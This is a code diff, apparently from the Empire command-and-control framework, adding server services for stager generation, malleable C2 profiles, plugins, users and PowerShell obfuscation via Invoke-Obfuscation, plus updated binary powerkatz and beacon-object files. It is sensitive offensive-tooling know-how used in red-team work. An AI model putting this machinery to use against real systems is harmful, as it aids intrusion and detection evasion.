+from pathlib import Path
+
+from sqlalchemy.orm import Session
+
+from empire.server.core.config import empire_config
+from empire.server.core.db import models
+from empire.server.core.db.base import SessionLocal
+from empire.server.utils import data_util
+
+log = logging.getLogger(__name__)
+
+
+class ObfuscationService(object):
+ def __init__(self, main_menu):
+ self.main_menu = main_menu
+
+ @staticmethod
+ def get_all_keywords(db: Session):
+ return db.query(models.Keyword).all()
+
+ @staticmethod
+ def get_keyword_by_id(db: Session, uid: int):
+ return db.query(models.Keyword).filter(models.Keyword.id == uid).first()
+
+ @staticmethod
+ def get_by_keyword(db: Session, keyword: str):
+ return (
+ db.query(models.Keyword).filter(models.Keyword.keyword == keyword).first()
+ )
+
+ @staticmethod
+ def delete_keyword(db: Session, keyword: models.Keyword):
+ db.delete(keyword)
+
+ def create_keyword(self, db: Session, keyword_req):
+ if self.get_by_keyword(db, keyword_req.keyword):
+ return None, f"Keyword with name {keyword_req.keyword} already exists."
+
+ db_keyword = models.Keyword(
+ keyword=keyword_req.keyword, replacement=keyword_req.replacement
+ )
+
+ db.add(db_keyword)
+ db.flush()
+
+ return db_keyword, None
+
+ def update_keyword(self, db: Session, db_keyword: models.Keyword, keyword_req):
+ if keyword_req.keyword != db_keyword.keyword:
+ if not self.get_by_keyword(db, keyword_req.keyword):
+ db_keyword.keyword = keyword_req.keyword
+ else:
+ return None, f"Keyword with name {keyword_req.keyword} already exists."
+
+ db_keyword.replacement = keyword_req.replacement
+
+ db.flush()
+
+ return db_keyword, None
+
+ def get_all_obfuscation_configs(self, db: Session):
+ return db.query(models.ObfuscationConfig).all()
+
+ @staticmethod
+ def get_obfuscation_config(db: Session, language: str):
+ return (
+ db.query(models.ObfuscationConfig)
+ .filter(models.ObfuscationConfig.language == language)
+ .first()
+ )
+
+ @staticmethod
+ def update_obfuscation_config(
+ db: Session, db_obf_config: models.ObfuscationConfig, obf_config_req
+ ):
+ db_obf_config.module = obf_config_req.module
+ db_obf_config.command = obf_config_req.command
+ db_obf_config.enabled = obf_config_req.enabled
+
+ return db_obf_config, None
+
+ def preobfuscate_modules(
+ self, db: Session, db_obf_config: models.ObfuscationConfig, reobfuscate=False
+ ):
+ """
+ Preobfuscate PowerShell module_source files
+ """
+ if not data_util.is_powershell_installed():
+ err = "PowerShell is not installed and is required to use obfuscation, please install it first."
+ log.error(err)
+ return err
+
+ files = self._get_module_source_files(db_obf_config.language)
+
+ for file in files:
+ file = os.getcwd() + "/" + file
+ if reobfuscate or not self._is_obfuscated(file):
+ message = f"Obfuscating {os.path.basename(file)}..."
+ log.info(message)
+ else:
+ log.warning(
+ f"{os.path.basename(file)} was already obfuscated. Not reobfuscating."
+ )
+ self.obfuscate_module(file, db_obf_config.command, reobfuscate)
+
+ # this is still written in a way that its only used for PowerShell
+ # to make it work for other languages, we probably want to just pass in the db_obf_config
+ # and delegate to language specific functions
+ def obfuscate_module(
+ self, module_source, obfuscation_command="", force_reobfuscation=False
+ ):
+ if self._is_obfuscated(module_source) and not force_reobfuscation:
+ return
+
+ try:
+ with open(module_source, "r") as f:
+ module_code = f.read()
+ except Exception:
+ log.error(f"Could not read module source path at: {module_source}")
+ return ""
+
+ # Get the random function name generated at install and patch the stager with the proper function name
+ module_code = self.obfuscate_keywords(module_code)
+
+ # obfuscate and write to obfuscated source path
+ obfuscated_code = self.obfuscate(module_code, obfuscation_command)
+
+ obfuscated_source = module_source.replace(
+ empire_config.directories.module_source,
+ empire_config.directories.obfuscated_module_source,
+ )
+
+ try:
+ Path(obfuscated_source).parent.mkdir(parents=True, exist_ok=True)
+ with open(obfuscated_source, "w") as f:
+ f.write(obfuscated_code)
+ except Exception:
+ log.error(
+ f"Could not write obfuscated module source path at: {obfuscated_source}"
+ )
+ return ""
+
+ def obfuscate(self, ps_script, obfuscation_command):
+ """
+ Obfuscate PowerShell scripts using Invoke-Obfuscation
+ """
+ if not data_util.is_powershell_installed():
+ log.error(
+ "PowerShell is not installed and is required to use obfuscation, please install it first."
+ )
+ return ""
+
+ # run keyword obfuscation before obfuscation
+ ps_script = self.obfuscate_keywords(ps_script)
+
+ # When obfuscating large scripts, command line length is too long. Need to save to temp file
+ with tempfile.NamedTemporaryFile(
+ "r+"
+ ) as toObfuscateFile, tempfile.NamedTemporaryFile("r+") as obfuscatedFile:
+ toObfuscateFile.write(ps_script)
+
+ # Obfuscate using Invoke-Obfuscation w/ PowerShell
+ install_path = self.main_menu.installPath
+ toObfuscateFile.seek(0)
+ subprocess.call(
+ f'{data_util.get_powershell_name()} -C \'$ErrorActionPreference = "SilentlyContinue";Import-Module {install_path}/data/Invoke-Obfuscation/Invoke-Obfuscation.psd1;Invoke-Obfuscation -ScriptPath {toObfuscateFile.name} -Command "{self._convert_obfuscation_command(obfuscation_command)}" -Quiet | Out-File -Encoding ASCII {obfuscatedFile.name}\'',
+ shell=True,
+ )
+
+ # Obfuscation writes a newline character to the end of the file, ignoring that character
+ obfuscatedFile.seek(0)
+ ps_script = obfuscatedFile.read()[0:-1]
+
+ return ps_script
+
+ def remove_preobfuscated_modules(self, language: str):
+ """
+ Remove preobfuscated PowerShell module_source files
+ """
+ files = self._get_obfuscated_module_source_files(language)
+ for file in files:
+ try:
+ os.remove(file)
+ except Exception:
+ pass
+
+ def obfuscate_keywords(self, data):
+ with SessionLocal.begin() as db:
+ keywords = db.query(models.Keyword).all()
+
+ for keyword in keywords:
+ data = data.replace(keyword.keyword, keyword.replacement)
+
+ return data
+
+ def _get_module_source_files(self, language: str):
+ """
+ Get the filepaths of PowerShell module_source files located
+ in the data/module_source directory.
+ """
+ paths = []
+ # This logic will need to be updated later. Right now we're only doing powershell.
+ pattern = "*.ps1"
+ for root, dirs, files in os.walk(empire_config.directories.module_source):
+ for filename in fnmatch.filter(files, pattern):
+ paths.append(os.path.join(root, filename))
+
+ return paths
+
+ def _get_obfuscated_module_source_files(self, language: str):
+ """
+ Get the filepaths of PowerShell module_source files located
+ in the data/module_source directory.
+ """
+ paths = []
+ # This logic will need to be updated later. Right now we're only doing powershell.
+ pattern = "*.ps1"
+ for root, dirs, files in os.walk(
+ empire_config.directories.obfuscated_module_source
+ ):
+ for filename in fnmatch.filter(files, pattern):
+ paths.append(os.path.join(root, filename))
+
+ return paths
+
+ def _is_obfuscated(self, module_source):
+ obfuscated_source = module_source.replace(
+ empire_config.directories.module_source,
+ empire_config.directories.obfuscated_module_source,
+ )
+ return os.path.isfile(obfuscated_source)
+
+ def _convert_obfuscation_command(self, obfuscate_command):
+ return (
+ "".join(obfuscate_command.split()).replace(",", ",home,").replace("\\", ",")
+ )
diff --git a/empire/server/core/plugin_service.py b/empire/server/core/plugin_service.py
new file mode 100644
index 000000000..5d64c333b
--- /dev/null
+++ b/empire/server/core/plugin_service.py
@@ -0,0 +1,149 @@
+import asyncio
+import fnmatch
+import importlib
+import logging
+import os
+
+from sqlalchemy.orm import Session
+
+from empire.server.core.config import empire_config
+from empire.server.core.db import models
+from empire.server.core.db.base import SessionLocal
+from empire.server.utils.option_util import validate_options
+
+log = logging.getLogger(__name__)
+
+
+class PluginService(object):
+ def __init__(self, main_menu):
+ self.main_menu = main_menu
+ self.loaded_plugins = {}
+
+ def startup(self):
+ """
+ Called after plugin_service is initialized.
+ This way plugin_service is fully initialized on MainMenu before plugins are loaded.
+ """
+ with SessionLocal.begin() as db:
+ self.startup_plugins(db)
+ self.autostart_plugins()
+
+ def autostart_plugins(self):
+ """
+ Autorun plugin commands at server startup.
+ """
+ plugins = empire_config.yaml.get("plugins")
+ if plugins:
+ for plugin in plugins:
+ use_plugin = self.loaded_plugins.get(plugin)
+ if not use_plugin:
+ log.error(f"Plugin {plugin} not found.")
+ continue
+
+ options = plugins[plugin]
+ cleaned_options, err = validate_options(use_plugin.options, options)
+ if err:
+ log.error(f"Plugin {plugin} options failed to validate: {err}")
+ continue
+
+ results = use_plugin.execute(cleaned_options)
+
+ if results is False:
+ log.error(f"Plugin failed to run: {plugin}")
+ else:
+ log.info(f"Plugin {plugin} ran successfully!")
+
+ def startup_plugins(self, db: Session):
+ """
+ Load plugins at the start of Empire
+ """
+ plugin_path = db.query(models.Config).first().install_path + "/plugins"
+ log.info(f"Searching for plugins at {plugin_path}")
+
+ # Import old v1 plugins (remove in 5.0)
+ plugin_names = os.listdir(plugin_path)
+ for plugin_name in plugin_names:
+ if not plugin_name.lower().startswith(
+ "__init__"
+ ) and plugin_name.lower().endswith(".py"):
+ file_path = os.path.join(plugin_path, plugin_name)
+ self.load_plugin(plugin_name, file_path)
+
+ for root, dirs, files in os.walk(plugin_path):
+ for filename in files:
+ if not filename.lower().endswith(".plugin"):
+ continue
+
+ file_path = os.path.join(root, filename)
+ plugin_name = filename.split(".")[0]
+
+ # don't load up any of the templates or examples
+ if fnmatch.fnmatch(filename, "*template.plugin"):
+ continue
+ elif fnmatch.fnmatch(filename, "*example.plugin"):
+ continue
+
+ self.load_plugin(plugin_name, file_path)
+
+ def load_plugin(self, plugin_name, file_path):
+ """Given the name of a plugin and a menu object, load it into the menu"""
+ # note the 'plugins' package so the loader can find our plugin
+ loader = importlib.machinery.SourceFileLoader(plugin_name, file_path)
+ module = loader.load_module()
+ plugin_obj = module.Plugin(self.main_menu)
+
+ for key, value in plugin_obj.options.items():
+ if value.get("SuggestedValues") is None:
+ value["SuggestedValues"] = []
+ if value.get("Strict") is None:
+ value["Strict"] = False
+
+ self.loaded_plugins[plugin_name] = plugin_obj
+
+ def execute_plugin(self, db: Session, plugin, plugin_req):
+ cleaned_options, err = validate_options(plugin.options, plugin_req.options)
+
+ if err:
+ return None, err
+
+ try:
+ return plugin.execute(cleaned_options), None
+ except Exception as e:
+ log.error(f"Plugin {plugin.info['Name']} failed to run: {e}", exc_info=True)
+ return False, str(e)
+
+ def plugin_socketio_message(self, plugin_name, msg):
+ """
+ Send socketio message to the socket address
+ """
+ log.info(f"{plugin_name}: {msg}")
+ if self.main_menu.socketio:
+ try: # https://stackoverflow.com/a/61331974/
+ loop = asyncio.get_running_loop()
+ except RuntimeError:
+ loop = None
+
+ if loop and loop.is_running():
+ loop.create_task(
+ self.main_menu.socketio.emit(
+ f"plugins/{plugin_name}/notifications",
+ {"message": msg, "plugin_name": plugin_name},
+ )
+ )
+ else:
+ asyncio.run(
+ self.main_menu.socketio.emit(
+ f"plugins/{plugin_name}/notifications",
+ {"message": msg, "plugin_name": plugin_name},
+ )
+ )
+
+ def get_all(self):
+ return self.loaded_plugins
+
+ def get_by_id(self, uid: str):
+ return self.loaded_plugins.get(uid)
+
+ def shutdown(self):
+ for plugin in self.loaded_plugins.values():
+ plugin.shutdown()
diff --git a/empire/server/core/profile_service.py b/empire/server/core/profile_service.py
new file mode 100644
index 000000000..7fd6b9d27
--- /dev/null
+++ b/empire/server/core/profile_service.py
@@ -0,0 +1,107 @@
+import fnmatch
+import logging
+import os
+
+from sqlalchemy.orm import Session
+
+from empire.server.core.db import models
+from empire.server.core.db.base import SessionLocal
+
+log = logging.getLogger(__name__)
+
+
+class ProfileService(object):
+ def __init__(self, main_menu):
+ self.main_menu = main_menu
+
+ with SessionLocal.begin() as db:
+ self.load_malleable_profiles(db)
+
+ @staticmethod
+ def load_malleable_profiles(db: Session):
+ """
+ Load Malleable C2 Profiles to the database
+ """
+ malleable_path = (
+ f"{db.query(models.Config).first().install_path}/data/profiles/"
+ )
+ log.info(f"v2: Loading malleable profiles from: {malleable_path}")
+
+ malleable_directories = os.listdir(malleable_path)
+
+ for malleable_directory in malleable_directories:
+ for root, dirs, files in os.walk(
+ malleable_path + "/" + malleable_directory
+ ):
+ for filename in files:
+ if not filename.lower().endswith(".profile"):
+ continue
+
+ file_path = os.path.join(root, filename)
+
+ # don't load up any of the templates
+ if fnmatch.fnmatch(filename, "*template.profile"):
+ continue
+
+ malleable_split = file_path.split(malleable_path)[-1].split("/")
+ profile_category = malleable_split[1]
+ profile_name = malleable_split[2]
+
+ # Check if module is in database and load new profiles
+ profile = (
+ db.query(models.Profile)
+ .filter(models.Profile.name == profile_name)
+ .first()
+ )
+ if not profile:
+ log.debug(f"Adding malleable profile: {profile_name}")
+
+ with open(file_path, "r") as stream:
+ profile_data = stream.read()
+ db.add(
+ models.Profile(
+ file_path=file_path,
+ name=profile_name,
+ category=profile_category,
+ data=profile_data,
+ )
+ )
+
+ @staticmethod
+ def get_all(db: Session):
+ return db.query(models.Profile).all()
+
+ @staticmethod
+ def get_by_id(db: Session, uid: int):
+ return db.query(models.Profile).filter(models.Profile.id == uid).first()
+
+ @staticmethod
+ def get_by_name(db: Session, name: str):
+ return db.query(models.Profile).filter(models.Profile.name == name).first()
+
+ @staticmethod
+ def delete_profile(db: Session, profile: models.Profile):
+ db.delete(profile)
+
+ def create_profile(self, db: Session, profile_req):
+ if self.get_by_name(db, profile_req.name):
+ return (
+ None,
+ f"Malleable Profile with name {profile_req.name} already exists.",
+ )
+
+ profile = models.Profile(
+ name=profile_req.name, category=profile_req.category, data=profile_req.data
+ )
+
+ db.add(profile)
+ db.flush()
+
+ return profile, None
+
+ @staticmethod
+ def update_profile(db: Session, db_profile: models.Profile, profile_req):
+ db_profile.data = profile_req.data
+ db.flush()
+
+ return db_profile, None
diff --git a/empire/server/core/stager_service.py b/empire/server/core/stager_service.py
new file mode 100644
index 000000000..e3e01ebca
--- /dev/null
+++ b/empire/server/core/stager_service.py
@@ -0,0 +1,179 @@
+import copy
+import os
+import uuid
+from pathlib import Path
+from typing import Any, Dict, Optional, Tuple
+
+from sqlalchemy.orm import Session
+
+from empire.server.core.config import empire_config
+from empire.server.core.db import models
+from empire.server.core.listener_service import ListenerService
+from empire.server.core.stager_template_service import StagerTemplateService
+from empire.server.utils.option_util import set_options, validate_options
+
+
+class StagerService(object):
+ def __init__(self, main_menu):
+ self.main_menu = main_menu
+
+ self.stager_template_service: StagerTemplateService = (
+ main_menu.stagertemplatesv2
+ )
+ self.listener_service: ListenerService = main_menu.listenersv2
+
+ @staticmethod
+ def get_all(db: Session):
+ return db.query(models.Stager).all()
+
+ @staticmethod
+ def get_by_id(db: Session, uid: int):
+ return db.query(models.Stager).filter(models.Stager.id == uid).first()
+
+ @staticmethod
+ def get_by_name(db: Session, name: str):
+ return db.query(models.Stager).filter(models.Stager.name == name).first()
+
+ def validate_stager_options(
+ self, db: Session, template: str, params: Dict
+ ) -> Tuple[Optional[Any], Optional[str]]:
+ """
+ Validates the new listener's options. Constructs a new "Listener" object.
+ :param template:
+ :param params:
+ :return: (Stager, error)
+ """
+ if not self.stager_template_service.get_stager_template(template):
+ return None, f"Stager Template {template} not found"
+
+ if params.get("Listener") and not self.listener_service.get_by_name(
+ db, params["Listener"]
+ ):
+ return None, f'Listener {params["Listener"]} not found'
+
+ template_instance = self.stager_template_service.new_instance(template)
+ cleaned_options, err = validate_options(template_instance.options, params)
+
+ if err:
+ return None, err
+
+ revert_options = {}
+ for key, value in template_instance.options.items():
+ revert_options[key] = template_instance.options[key]["Value"]
+ template_instance.options[key]["Value"] = value
+
+ set_options(template_instance, cleaned_options)
+
+ # stager instances don't have a validate method. but they could
+
+ return template_instance, None
+
+ def create_stager(self, db: Session, stager_req, save: bool, user_id: int):
+ if save and self.get_by_name(db, stager_req.name):
+ return None, f"Stager with name {stager_req.name} already exists."
+
+ template_instance, err = self.validate_stager_options(
+ db, stager_req.template, stager_req.options
+ )
+
+ if err:
+ return None, err
+
+ generated, err = self.generate_stager(template_instance)
+
+ if err:
+ return None, err
+
+ stager_options = copy.deepcopy(template_instance.options)
+ stager_options = dict(
+ map(lambda x: (x[0], x[1]["Value"]), stager_options.items())
+ )
+
+ db_stager = models.Stager(
+ name=stager_req.name,
+ module=stager_req.template,
+ options=stager_options,
+ one_liner=stager_options.get("OutFile", "") == "",
+ user_id=user_id,
+ )
+
+ download = models.Download(
+ location=generated,
+ filename=generated.split("/")[-1],
+ size=os.path.getsize(generated),
+ )
+ db.add(download)
+ db.flush()
+ db_stager.downloads.append(download)
+
+ if save:
+ db.add(db_stager)
+ db.flush()
+ else:
+ db_stager.id = 0
+
+ return db_stager, None
+
+ def update_stager(self, db: Session, db_stager: models.Stager, stager_req):
+ if stager_req.name != db_stager.name:
+ if not self.get_by_name(db, stager_req.name):
+ db_stager.name = stager_req.name
+ else:
+ return None, f"Stager with name {stager_req.name} already exists."
+
+ template_instance, err = self.validate_stager_options(
+ db, db_stager.module, stager_req.options
+ )
+
+ if err:
+ return None, err
+
+ generated, err = self.generate_stager(template_instance)
+
+ if err:
+ return None, err
+
+ stager_options = copy.deepcopy(template_instance.options)
+ stager_options = dict(
+ map(lambda x: (x[0], x[1]["Value"]), stager_options.items())
+ )
+ db_stager.options = stager_options
+
+ download = models.Download(
+ location=generated,
+ filename=generated.split("/")[-1],
+ size=os.path.getsize(generated),
+ )
+ db.add(download)
+ db.flush()
+ db_stager.downloads.append(download)
+
+ return db_stager, None
+
+ def generate_stager(self, template_instance):
+ resp = template_instance.generate()
+
+ # todo generate should return error response much like listener validate
+ # options should.
+ if resp == "" or resp is None:
+ return None, "Error generating"
+
+ out_file = template_instance.options.get("OutFile", {}).get("Value")
+ if out_file and len(out_file) > 0:
+ file_name = template_instance.options["OutFile"]["Value"].split("/")[-1]
+ else:
+ file_name = f"{uuid.uuid4()}.txt"
+
+ file_name = (
+ Path(empire_config.directories.downloads) / "generated-stagers" / file_name
+ )
+ file_name.parent.mkdir(parents=True, exist_ok=True)
+ mode = "w" if type(resp) == str else "wb"
+ with open(file_name, mode) as f:
+ f.write(resp)
+
+ return str(file_name), None
+
+ @staticmethod
+ def delete_stager(db: Session, stager: models.Stager):
+ db.delete(stager)
diff --git a/empire/server/core/stager_template_service.py b/empire/server/core/stager_template_service.py
new file mode 100644
index 000000000..e3694d25a
--- /dev/null
+++ b/empire/server/core/stager_template_service.py
@@ -0,0 +1,80 @@
+import fnmatch
+import importlib.util
+import logging
+import os
+from typing import Optional
+
+from sqlalchemy.orm import Session
+
+from empire.server.core.db import models
+from empire.server.core.db.base import SessionLocal
+
+log = logging.getLogger(__name__)
+
+
+class StagerTemplateService(object):
+ def __init__(self, main_menu):
+ self.main_menu = main_menu
+
+ # loaded stager format:
+ # {"stagerModuleName": moduleInstance, ...}
+ self._loaded_stager_templates = {}
+
+ with SessionLocal.begin() as db:
+ self._load_stagers(db)
+
+ def new_instance(self, template: str):
+ instance = type(self._loaded_stager_templates[template])(self.main_menu)
+ for key, value in instance.options.items():
+ if value.get("SuggestedValues") is None:
+ value["SuggestedValues"] = []
+ if value.get("Strict") is None:
+ value["Strict"] = False
+
+ return instance
+
+ def get_stager_template(
+ self, name: str
+ ) -> Optional[object]: # would be nice to have a BaseListener object.
+ return self._loaded_stager_templates.get(name)
+
+ def get_stager_templates(self):
+ return self._loaded_stager_templates
+
+ def _load_stagers(self, db: Session):
+ """
+ Load stagers from the install + "/stagers/*" path
+ """
+ root_path = "%s/stagers/" % db.query(models.Config).first().install_path
+ pattern = "*.py"
+
+ log.info(f"v2: Loading stager templates from: {root_path}")
+
+ for root, dirs, files in os.walk(root_path):
+ for filename in fnmatch.filter(files, pattern):
+ file_path = os.path.join(root, filename)
+
+ # don't load up any of the templates
+ if fnmatch.fnmatch(filename, "*template.py"):
+ continue
+
+ # extract just the module name from the full path
+ stager_name = file_path.split("/stagers/")[-1][0:-3]
+
+ # instantiate the module and save it to the internal cache
+ spec = importlib.util.spec_from_file_location(stager_name, file_path)
+ mod = importlib.util.module_from_spec(spec)
+ spec.loader.exec_module(mod)
+
+ stager = mod.Stager(self.main_menu, [])
+ for key, value in stager.options.items():
+ if value.get("SuggestedValues") is None:
+ value["SuggestedValues"] = []
+ if value.get("Strict") is None:
+ value["Strict"] = False
+
+ self._loaded_stager_templates[slugify(stager_name)] = stager
+
+
+def slugify(stager_name: str):
+ return stager_name.lower().replace("/", "_")
diff --git a/empire/server/core/user_service.py b/empire/server/core/user_service.py
new file mode 100644
index 000000000..306dda2b7
--- /dev/null
+++ b/empire/server/core/user_service.py
@@ -0,0 +1,59 @@
+from sqlalchemy.orm import Session
+
+from empire.server.core.db import models
+
+
+class UserService(object):
+ def __init__(self, main_menu):
+ self.main_menu = main_menu
+
+ @staticmethod
+ def get_all(db: Session):
+ return db.query(models.User).all()
+
+ @staticmethod
+ def get_by_id(db: Session, uid: int) -> models.User:
+ return db.query(models.User).filter(models.User.id == uid).first()
+
+ @staticmethod
+ def get_by_name(db: Session, name: str):
+ return db.query(models.User).filter(models.User.username == name).first()
+
+ def create_user(
+ self, db: Session, username: str, hashed_password: str, admin: bool = False
+ ):
+ db_user = self.get_by_name(db, username)
+
+ if db_user:
+ return None, f"A user with name {username} already exists."
+
+ user = models.User(
+ username=username,
+ hashed_password=hashed_password,
+ enabled=True,
+ admin=admin,
+ )
+
+ db.add(user)
+ db.flush()
+
+ return user, None
+
+ def update_user(self, db: Session, db_user: models.User, user_req):
+ if user_req.username != db_user.username:
+ if not self.get_by_name(db, user_req.username):
+ db_user.username = user_req.username
+ else:
+ return None, f"A user with name {user_req.username} already exists."
+
+ db_user.enabled = user_req.enabled
+ db_user.admin = user_req.is_admin
+
+ return db_user, None
+
+ @staticmethod
+ def update_user_password(db: Session, db_user: models.User, hashed_password: str):
+ db_user.hashed_password = hashed_password
+ db.flush()
+
+ return db_user, None
diff --git a/empire/server/csharp/Covenant/Data/EmbeddedResources/Lib.zip b/empire/server/csharp/Covenant/Data/EmbeddedResources/Lib.zip
old mode 100755
new mode 100644
index 00ac049a7..ad602c4c5
Binary files a/empire/server/csharp/Covenant/Data/EmbeddedResources/Lib.zip and b/empire/server/csharp/Covenant/Data/EmbeddedResources/Lib.zip differ
diff --git a/empire/server/csharp/Covenant/Data/EmbeddedResources/RunOF.beacon_funcs.x64.o b/empire/server/csharp/Covenant/Data/EmbeddedResources/RunOF.beacon_funcs.x64.o
new file mode 100644
index 000000000..0b50492b6
Binary files /dev/null and b/empire/server/csharp/Covenant/Data/EmbeddedResources/RunOF.beacon_funcs.x64.o differ
diff --git a/empire/server/csharp/Covenant/Data/EmbeddedResources/RunOF.beacon_funcs.x86.o b/empire/server/csharp/Covenant/Data/EmbeddedResources/RunOF.beacon_funcs.x86.o
new file mode 100644
index 000000000..c8fd9389d
Binary files /dev/null and b/empire/server/csharp/Covenant/Data/EmbeddedResources/RunOF.beacon_funcs.x86.o differ
diff --git a/empire/server/csharp/Covenant/Data/EmbeddedResources/SharpSploit.Resources.powerkatz_x64.dll b/empire/server/csharp/Covenant/Data/EmbeddedResources/SharpSploit.Resources.powerkatz_x64.dll
index 70ecdeb26..686454f64 100644
Binary files a/empire/server/csharp/Covenant/Data/EmbeddedResources/SharpSploit.Resources.powerkatz_x64.dll and b/empire/server/csharp/Covenant/Data/EmbeddedResources/SharpSploit.Resources.powerkatz_x64.dll differ
diff --git a/empire/server/csharp/Covenant/Data/EmbeddedResources/SharpSploit.Resources.powerkatz_x86.dll b/empire/server/csharp/Covenant/Data/EmbeddedResources/SharpSploit.Resources.powerkatz_x86.dll
index 4a9905d2c..3bac0f6f1 100644
Binary files a/empire/server/csharp/Covenant/Data/EmbeddedResources/SharpSploit.Resources.powerkatz_x86.dll and b/empire/server/csharp/Covenant/Data/EmbeddedResources/SharpSploit.Resources.powerkatz_x86.dll differ
diff --git a/empire/server/csharp/Covenant/Data/ReferenceSourceLibraries/CSharpPy/CSharpPy.cs b/empire/server/csharp/Covenant/Data/ReferenceSourceLibraries/CSharpPy/CSharpPy.cs
index b911e445a..1106d418c 100644
--- a/empire/server/csharp/Covenant/Data/ReferenceSourceLibraries/CSharpPy/CSharpPy.cs
+++ b/empire/server/csharp/Covenant/Data/ReferenceSourceLibraries/CSharpPy/CSharpPy.cs
@@ -26,6 +26,9 @@ public static void Agent(string PyCode)
Assembly asm = Assembly.GetExecutingAssembly();
dynamic sysScope = engine.GetSysModule();
var importer = new ResourceMetaPathImporter(asm, "Lib.zip");
+
+ // Clear search paths (if they exist) and add our library
+ sysScope.path.clear();
sysScope.meta_path.append(importer);
sysScope.path.append(importer);
diff --git a/empire/server/csharp/Covenant/Data/ReferenceSourceLibraries/RunOF b/empire/server/csharp/Covenant/Data/ReferenceSourceLibraries/RunOF
new file mode 160000
index 000000000..7178430a6
--- /dev/null
+++ b/empire/server/csharp/Covenant/Data/ReferenceSourceLibraries/RunOF
@@ -0,0 +1 @@
+Subproject commit 7178430a686f3f14d99c97397f1af1f28ae9ffce
diff --git a/empire/server/csharp/Covenant/Data/ReferenceSourceLibraries/Sharpire b/empire/server/csharp/Covenant/Data/ReferenceSourceLibraries/Sharpire
index 1d9014825..faeee5c31 160000
--- a/empire/server/csharp/Covenant/Data/ReferenceSourceLibraries/Sharpire
+++ b/empire/server/csharp/Covenant/Data/ReferenceSourceLibraries/Sharpire
@@ -1 +1 @@
-Subproject commit 1d9014825ed100cfbdcd7bfd931df9958ddc26a5
+Subproject commit faeee5c315b3d0da57e3415a983c3cb667c7c186
diff --git a/empire/server/powershell/Invoke-Obfuscation/Invoke-Obfuscation.ps1 b/empire/server/data/Invoke-Obfuscation/Invoke-Obfuscation.ps1
similarity index 100%
rename from empire/server/powershell/Invoke-Obfuscation/Invoke-Obfuscation.ps1
rename to empire/server/data/Invoke-Obfuscation/Invoke-Obfuscation.ps1
diff --git a/empire/server/powershell/Invoke-Obfuscation/Invoke-Obfuscation.psd1 b/empire/server/data/Invoke-Obfuscation/Invoke-Obfuscation.psd1
similarity index 100%
rename from empire/server/powershell/Invoke-Obfuscation/Invoke-Obfuscation.psd1
rename to empire/server/data/Invoke-Obfuscation/Invoke-Obfuscation.psd1
diff --git a/empire/server/powershell/Invoke-Obfuscation/Invoke-Obfuscation.psm1 b/empire/server/data/Invoke-Obfuscation/Invoke-Obfuscation.psm1
similarity index 100%
rename from empire/server/powershell/Invoke-Obfuscation/Invoke-Obfuscation.psm1
rename to empire/server/data/Invoke-Obfuscation/Invoke-Obfuscation.psm1
diff --git a/empire/server/powershell/Invoke-Obfuscation/LICENSE b/empire/server/data/Invoke-Obfuscation/LICENSE
similarity index 100%
rename from empire/server/powershell/Invoke-Obfuscation/LICENSE
rename to empire/server/data/Invoke-Obfuscation/LICENSE
diff --git a/empire/server/powershell/Invoke-Obfuscation/Out-CompressedCommand.ps1 b/empire/server/data/Invoke-Obfuscation/Out-CompressedCommand.ps1
similarity index 100%
rename from empire/server/powershell/Invoke-Obfuscation/Out-CompressedCommand.ps1
rename to empire/server/data/Invoke-Obfuscation/Out-CompressedCommand.ps1
diff --git a/empire/server/powershell/Invoke-Obfuscation/Out-EncodedAsciiCommand.ps1 b/empire/server/data/Invoke-Obfuscation/Out-EncodedAsciiCommand.ps1
similarity index 100%
rename from empire/server/powershell/Invoke-Obfuscation/Out-EncodedAsciiCommand.ps1
rename to empire/server/data/Invoke-Obfuscation/Out-EncodedAsciiCommand.ps1
diff --git a/empire/server/powershell/Invoke-Obfuscation/Out-EncodedBXORCommand.ps1 b/empire/server/data/Invoke-Obfuscation/Out-EncodedBXORCommand.ps1
similarity index 100%
rename from empire/server/powershell/Invoke-Obfuscation/Out-EncodedBXORCommand.ps1
rename to empire/server/data/Invoke-Obfuscation/Out-EncodedBXORCommand.ps1
diff --git a/empire/server/powershell/Invoke-Obfuscation/Out-EncodedBinaryCommand.ps1 b/empire/server/data/Invoke-Obfuscation/Out-EncodedBinaryCommand.ps1
similarity index 100%
rename from empire/server/powershell/Invoke-Obfuscation/Out-EncodedBinaryCommand.ps1
rename to empire/server/data/Invoke-Obfuscation/Out-EncodedBinaryCommand.ps1
diff --git a/empire/server/powershell/Invoke-Obfuscation/Out-EncodedHexCommand.ps1 b/empire/server/data/Invoke-Obfuscation/Out-EncodedHexCommand.ps1
similarity index 100%
rename from empire/server/powershell/Invoke-Obfuscation/Out-EncodedHexCommand.ps1
rename to empire/server/data/Invoke-Obfuscation/Out-EncodedHexCommand.ps1
diff --git a/empire/server/powershell/Invoke-Obfuscation/Out-EncodedOctalCommand.ps1 b/empire/server/data/Invoke-Obfuscation/Out-EncodedOctalCommand.ps1
similarity index 100%
rename from empire/server/powershell/Invoke-Obfuscation/Out-EncodedOctalCommand.ps1
rename to empire/server/data/Invoke-Obfuscation/Out-EncodedOctalCommand.ps1
diff --git a/empire/server/powershell/Invoke-Obfuscation/Out-EncodedSpecialCharOnlyCommand.ps1 b/empire/server/data/Invoke-Obfuscation/Out-EncodedSpecialCharOnlyCommand.ps1
similarity index 100%
rename from empire/server/powershell/Invoke-Obfuscation/Out-EncodedSpecialCharOnlyCommand.ps1
rename to empire/server/data/Invoke-Obfuscation/Out-EncodedSpecialCharOnlyCommand.ps1
diff --git a/empire/server/powershell/Invoke-Obfuscation/Out-EncodedWhitespaceCommand.ps1 b/empire/server/data/Invoke-Obfuscation/Out-EncodedWhitespaceCommand.ps1
similarity index 100%
rename from empire/server/powershell/Invoke-Obfuscation/Out-EncodedWhitespaceCommand.ps1
rename to empire/server/data/Invoke-Obfuscation/Out-EncodedWhitespaceCommand.ps1
diff --git a/empire/server/powershell/Invoke-Obfuscation/Out-ObfuscatedAst.ps1 b/empire/server/data/Invoke-Obfuscation/Out-ObfuscatedAst.ps1
similarity index 100%
rename from empire/server/powershell/Invoke-Obfuscation/Out-ObfuscatedAst.ps1
rename to empire/server/data/Invoke-Obfuscation/Out-ObfuscatedAst.ps1
diff --git a/empire/server/powershell/Invoke-Obfuscation/Out-ObfuscatedStringCommand.ps1 b/empire/server/data/Invoke-Obfuscation/Out-ObfuscatedStringCommand.ps1
similarity index 100%
rename from empire/server/powershell/Invoke-Obfuscation/Out-ObfuscatedStringCommand.ps1
rename to empire/server/data/Invoke-Obfuscation/Out-ObfuscatedStringCommand.ps1
